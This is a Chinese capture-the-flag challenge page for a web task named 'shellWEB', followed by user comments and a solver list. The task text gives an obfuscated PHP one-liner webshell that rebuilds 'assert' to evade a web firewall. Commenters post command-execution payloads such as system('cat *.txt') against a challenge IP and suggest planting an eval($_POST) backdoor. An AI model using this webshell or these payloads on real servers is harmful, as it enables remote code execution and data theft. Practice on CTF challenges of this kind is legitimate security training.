shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 7165
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
shan 4年前
举报

用system(dir)来过这个题目，是作者本来的思路吗。看评论好像大家用的方法还挺多种的。

回复 0
yinyue 4年前
举报

不多说了，套娃了解下

回复 1
eleven 4年前
举报

?s=system("cat *.txt")

回复 0
naihe567 4年前
举报

没法用POST的webshell，可以自己创建一个命令执行eval($_POST[‘xxx’]) 密码xxx

回复 1
mantou 4年前
举报

http://114.67.246.176:18711/?s=system(%22cat%20xxxxxxxx.txt%22)

回复 0
Y1rannn 4年前
举报

...没那么复杂啊，我直接s=system("")

回复 3
pest 4年前
举报

除了菜刀，还可以利用print_r(glob("*.*")) scandir() //作用能扫描文件夹下的目录和文件，返回值为所有文件名组成的一个数组 show_source() //显示文件源码 highlight_file() //和show_source()函数是一个意思 我直接复制的一个大佬的wp过来的。

回复 0
simpleboy 4年前
举报

解法还是很多的

回复 0
simpleboy 4年前
举报

命令执行了

回复 0
三分踯躅 4年前
举报

哇，真的有那么复杂吗，蚁剑都整上了，难道是我用assert命令执行的姿势太low了吗

回复 0

WriteUp

image
harry

3 金币

立即查看

评分(10)

解题动态

Niko_83c 攻破了该题 1小时前
IamnotLin 攻破了该题 13小时前
sjjf 攻破了该题 14小时前
harry2025 攻破了该题 16小时前
yyc4088 攻破了该题 16小时前
3240432110 攻破了该题 16小时前
xhonggcc 攻破了该题 20小时前
18996315220 攻破了该题 1天前
3251336856 攻破了该题 1天前
1348931180 攻破了该题 1天前
xjn12 攻破了该题 1天前
771232546 攻破了该题 1天前
BLX123 攻破了该题 2天前
root404 攻破了该题 2天前
homniloquy 攻破了该题 2天前
1293273679 攻破了该题 2天前
liberator 攻破了该题 2天前
Oliver23 攻破了该题 3天前
sdxsdxl 攻破了该题 3天前
lancertyk 攻破了该题 3天前
问题反馈